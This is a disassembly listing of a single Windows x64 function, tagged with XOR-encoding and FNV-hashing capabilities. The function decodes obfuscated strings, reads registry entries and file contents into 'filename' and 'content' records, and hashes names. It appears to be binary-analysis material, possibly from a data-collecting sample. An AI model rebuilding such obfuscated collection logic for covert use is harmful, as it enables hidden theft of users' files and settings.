Function at 0x140037630
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x1400fec00]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov dword [rsp + 0x30], 1
movabs rax, 0x449cc00537280938
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs r14, 0x8ef95065fd0580c8
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
movabs rbx, 0x449cc068564d7d6b
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.14002fe30
nop
movabs rax, 0x1ce813f020b3238
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
movabs rax, 0xdda535139164d694
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0x36c91c96146d18a1
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rcx, 0x1e36b98be8905b22
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x300], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x308], rax
movabs rax, 0x36c91c96790c7dd5
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x310], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x318], rax
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x310]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x210]
call fcn.14002fe30
nop
movabs rax, 0x30fd900537280938
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs rax, 0x8ef95065fd0580a0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1f0]
call fcn.14002fe30
nop
lea r9, [rbp + 0x1f0]
lea r8, [rbp + 0x210]
mov rdx, 0xffffffff80000001
lea rcx, [rbp + 0x28]
call fcn.1400892f0
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.1400421a0
nop
lea rcx, [rbp + 0x28]
call fcn.14003f8a0
xor r12d, r12d
cmp qword [rbp + 0x180], r12
jne 0x1400378bf
lea rcx, [rbp + 0x170]
call fcn.14002e470
test al, al
jne 0x1400378bf
movdqa xmm0, xmmword [0x1400e52e0]
jmp 0x140038b72
movabs rax, 0x449cc068382b0e18
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1d0]
call fcn.14002fe30
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xd0]
call fcn.14002e180
nop
lea rcx, [rbp + 0x90]
call fcn.14002e500
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.140030c50
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14002e2e0
nop
lea rcx, [rbp + 0x80]
call fcn.14002e500
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.140030c50
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e3c0
nop
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
je 0x140037bdc
nop dword [rax]
lea rdi, [rax + 0x20]
lea rdx, [rbp + 0x2e0]
mov rcx, rdi
call fcn.14002cf00
nop
lea rdx, [rbp - 0x78]
mov rcx, rax
call fcn.14002cd90
mov rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
mov r8d, 4
cmp qword [rax + 0x10], r8
cmovb r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140037a24
mov rdx, qword [rax]
lea rcx, [rbp + 0xa0]
call fcn.14002fe70
mov eax, dword [rsp + 0x30]
bts eax, 7
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xa0]
call fcn.140042200
movzx ebx, al
and dword [rsp + 0x30], 0xffffff7f
lea rcx, [rbp + 0xa0]
call fcn.14003f8a0
nop
lea rcx, [rbp - 0x78]
call fcn.14003f8a0
nop
lea rcx, [rbp + 0x2e0]
call fcn.14002d460
test bl, bl
je 0x140037bbc
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.1400817c0
nop
cmp byte [rbp + 0x130], 0
je 0x140037bb0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.14003eb20
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.14002cf00
nop
lea rdx, [rbp + 0x300]
mov rcx, rax
call fcn.14002cd90
nop
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400422d0
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.140042240
mov rcx, rax
mov rdx, rbx
call fcn.14003eac0
nop
lea rcx, [rbp + 0x300]
call fcn.14003f8a0
nop
lea rcx, [rsp + 0x68]
call fcn.14002d460
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.14003f480
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400422a0
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.140042240
mov rcx, rax
mov rdx, rbx
call fcn.14003eac0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xf0]
call fcn.14003f990
nop
mov rdx, rax
lea rcx, [0x1400ff140]
call fcn.14003e980
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003e8a0
nop
lea rcx, [rbp + 0x70]
call fcn.14003eaa0
nop
lea rcx, [rbp + 0x110]
call fcn.140030c80
lea rcx, [rbp + 0x90]
call fcn.14002e1d0
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
jne 0x1400379d0
mov rsi, 0xffffffffffffffff
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x140037c19
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140037c19
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140037c19
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x98]
test rbx, rbx
je 0x140037c4f
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140037c4f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140037c4f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x140037c84
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140037c84
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140037c84
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x38], rax
lea rax, str.config
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], 6
movaps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp - 0x78]
call fcn.14004bec0
mov eax, dword [rsp + 0x30]
bts eax, 8
mov dword [rsp + 0x30], eax
and dword [rsp + 0x30], 0xfffffeff
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1b0]
call fcn.14002d230
nop
lea rcx, [rbp - 0x78]
call fcn.14002d460
lea rcx, [rbp + 0x150]
call fcn.14003fab0
nop
lea rcx, [rbp + 0x1b0]
call fcn.14002e470
test al, al
je 0x140038162
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2d0]
call fcn.14002e180
nop
lea rcx, [rbp + 0x80]
call fcn.14002e500
lea rax, [rbp + 0x70]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.140030c50
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e2e0
nop
lea rcx, [rbp + 0xd0]
call fcn.14002e500
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0xf0]
call fcn.140030c50
nop
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14002e3c0
nop
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
je 0x1400380c1
movabs r15, 0x44f5c00f56227d07
movabs r13, 0x8e9c5016fd7080a6
nop dword [rax]
lea rdi, [rax + 0x20]
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.14002e510
movsd xmm0, qword [rax]
movsd qword [rsp + 0x58], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rsp + 0x58]
test edx, edx
je 0x140037e06
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x140038d14
cmp ecx, 3
je 0x1400380a1
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.1400817c0
nop
cmp byte [rbp + 0x130], 0
je 0x140038095
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x70]
call fcn.14003eb20
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x18]
mov rcx, rdi
call fcn.14002cf00
nop
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.14002cd90
nop
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400422d0
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.140042240
mov rcx, rax
mov rdx, rbx
call fcn.14003eac0
nop
lea rcx, [rbp + 8]
call fcn.14003f8a0
nop
lea rcx, [rbp - 0x18]
call fcn.14002d460
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.14003f480
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.1400422a0
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.140042240
mov rcx, rax
mov rdx, rbx
call fcn.14003eac0
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2e0]
call fcn.14003f990
nop
mov rdx, rax
lea rcx, [0x1400ff140]
call fcn.14003e980
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003e8a0
mov qword [rsp + 0x20], r15
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0x36bf1cb8797f7da7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rax, 0x1e36b98be8f65b46
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
movabs rax, 0x449cc068564d7d6b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x36c91c96790c7dd5
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x1e36b98be8905b22
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x2f0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.14002cf00
nop
lea rdx, [rbp - 0x38]
mov rcx, rax
call fcn.14002cec0
nop
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.1400430a0
movzx ebx, al
lea rcx, [rbp - 0x38]
call fcn.14003f670
nop
lea rcx, [rbp + 0x48]
call fcn.14002d460
test bl, bl
je 0x14003808b
lea rcx, [rbp + 0x110]
call fcn.14003f480
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.1400430f0
nop
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.14003f900
nop
lea rcx, [rbp - 0x58]
call fcn.14003f8a0
nop
lea rcx, [rbp + 0x70]
call fcn.14003eaa0
nop
lea rcx, [rbp + 0x110]
call fcn.140030d20
lea rcx, [rbp + 0x80]
call fcn.14002e1d0
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
jne 0x140037dd0
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x1400380f7
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400380f7
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400380f7
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x14003812d
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003812d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14003812d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x2d8]
test rbx, rbx
je 0x140038162
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140038162
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140038162
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
cmp qword [rbp + 0x160], 0
je 0x140038a62
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
mov word [rsp + 0x34], 1
mov byte [rsp + 0x36], al
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
add r8, rdx
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea r9, [rsp + 0x34]
lea rcx, [rbp + 0x230]
call fcn.1400432a0
nop
lea rcx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rcx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x240]
cmp r8, 5
jne 0x140038a48
lea rdx, str.users
call fcn.1400c13d0
test eax, eax
jne 0x140038a48
mov rdi, qword [rbp + 0x298]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x140038576
movabs r13, 0x100000001b3
movabs rcx, 0x8ef95065fd60eda9
movabs rax, 0xae8ae1d392e1e2a
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0x449cc068564d7d6b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea rax, [rbp + 0x80]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400382e0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xd0]
call fcn.14002fe70
nop
mov r14, qword [rbx + 0x30]
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
movabs r9, 0xcbf29ce484222325
mov rcx, r12
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x140038345
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r13
inc rcx
cmp rcx, r8
jb 0x140038332
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x300]
lea rcx, [r14 + 0x20]
call fcn.140048c80
cmp qword [rax + 8], 0
je 0x140038506
lea r8, [rbp + 0xd0]
lea rdx, [rsp + 0x68]
lea rcx, [r14 + 0x20]
call fcn.140043b30
mov rdx, qword [rax]
add rdx, 0x30
lea rcx, [rbp + 0x110]
call fcn.14003f990
nop
lea rdx, [rbx + 0x10]
lea rcx, [rbp + 0x130]
call fcn.14003f990
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, qword [rbp + 0x100]
je 0x14003843e
mov qword [rsp + 0x48], rdx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x120]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
xorps xmm0, xmm0
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], r12
mov qword [rdx + 0x38], r12
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rdx + 0x30], xmm1
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], send
mov byte [rbp + 0x130], 0
add qword [rbp + 0xf8], 0x40
jmp 0x140038452
lea r8, [rbp + 0x110]
lea rcx, [rbp + 0xf0]
call fcn.140049020
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140038493
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003848e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d2a
call fcn.1400b3f70
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], send
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1400384ed
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400384e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d30
call fcn.1400b3f70
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140038547
inc rdx
mov rcx, qword [rbp + 0xd0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140038542
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d36
call fcn.1400b3f70
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], send
mov byte [rbp + 0xd0], 0
mov rbx, qword [rbx]
movabs r14, 0x8ef95065fd0580c8
cmp rbx, rdi
jne 0x140038243
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xa0]
call fcn.140035e20
nop
cmp qword [rbp + 0xb0], 0
je 0x1400388df
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x70]
call fcn.140040780
or dword [rsp + 0x30], 0x10
lea rax, [rbp + 0x90]
mov qword [rsp + 0x48], rax
movabs rax, 0x30b2b3063326123f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
movabs rax, 0x8ef95065fd05f4b0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0x449cc068564d7d6b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xor eax, eax
mov qword [rbp + 0x98], rax
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140040ce0
mov byte [rbp + 0x90], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov ecx, 0x20
call fcn.1400b4098
mov rbx, rax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp + 0x80]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400386b3
mov r8, rsi
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.14002fe70
mov qword [rbp + 0x2d8], r12
mov qword [rbp + 0x98], rbx
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 8
lea rdx, str.filename
lea rcx, [rbp + 0x2e0]
call fcn.14002fe70
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.14003e980
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x90]
mov byte [rax], cl
mov byte [rbp + 0x90], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x98]
mov qword [rax + 8], rdx
mov qword [rbp + 0x98], rcx
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140040ce0
lea rax, [rbp + 0x300]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x68]
call fcn.140042000
mov edi, dword [rsp + 0x30]
or edi, 0x20
mov dword [rsp + 0x30], edi
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x300]
call fcn.1400422d0
mov rbx, rax
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rbp + 0x2e0]
call fcn.14002fe70
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.14003e980
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbx + 8]
mov qword [rax + 8], rdx
mov qword [rbx + 8], rcx
movzx edx, byte [rbx]
lea rcx, [rbx + 8]
call fcn.140040ce0
and edi, 0xffffffdf
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140038882
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003887d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d24
call fcn.1400b3f70
movdqa xmm0, xmmword [0x1400e52e0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x58]
call fcn.14003f990
nop
mov rdx, rax
lea rcx, [0x1400ff140]
call fcn.14003e980
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003e8a0
and edi, 0xffffffef
mov dword [rsp + 0x30], edi
movzx edx, byte [rbp + 0x70]
lea rcx, [rbp + 0x78]
call fcn.140040ce0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140038920
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003891b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d3c
call fcn.1400b3f70
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], send
mov byte [rbp + 0xa0], 0
lea rax, [rbp + 0x290]
mov qword [rsp + 0x58], rax
lea rcx, [rbp + 0x290]
call fcn.1400375b0
nop
lea rax, [rbp + 0x250]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x250]
call fcn.140037510
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x1400389ac
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400389a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d42
call fcn.1400b3f70
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], send
mov byte [rbp + 0x230], 0
mov rbx, qword [rbp + 0xf0]
test rbx, rbx
je 0x140038a62
mov rdi, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x1400389f9
mov rcx, rbx
call fcn.1400356c0
add rbx, 0x40
cmp rbx, rdi
jne 0x1400389e1
mov rbx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0x100]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140038a2c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d48
mov rcx, rbx
call fcn.1400b3f70
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
jmp 0x140038a62
lea rcx, [rbp + 0x230]
call fcn.140037460
nop
lea rcx, [rbp + 0xf0]
call fcn.14003e1e0
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140038aa3
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038a9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d4e
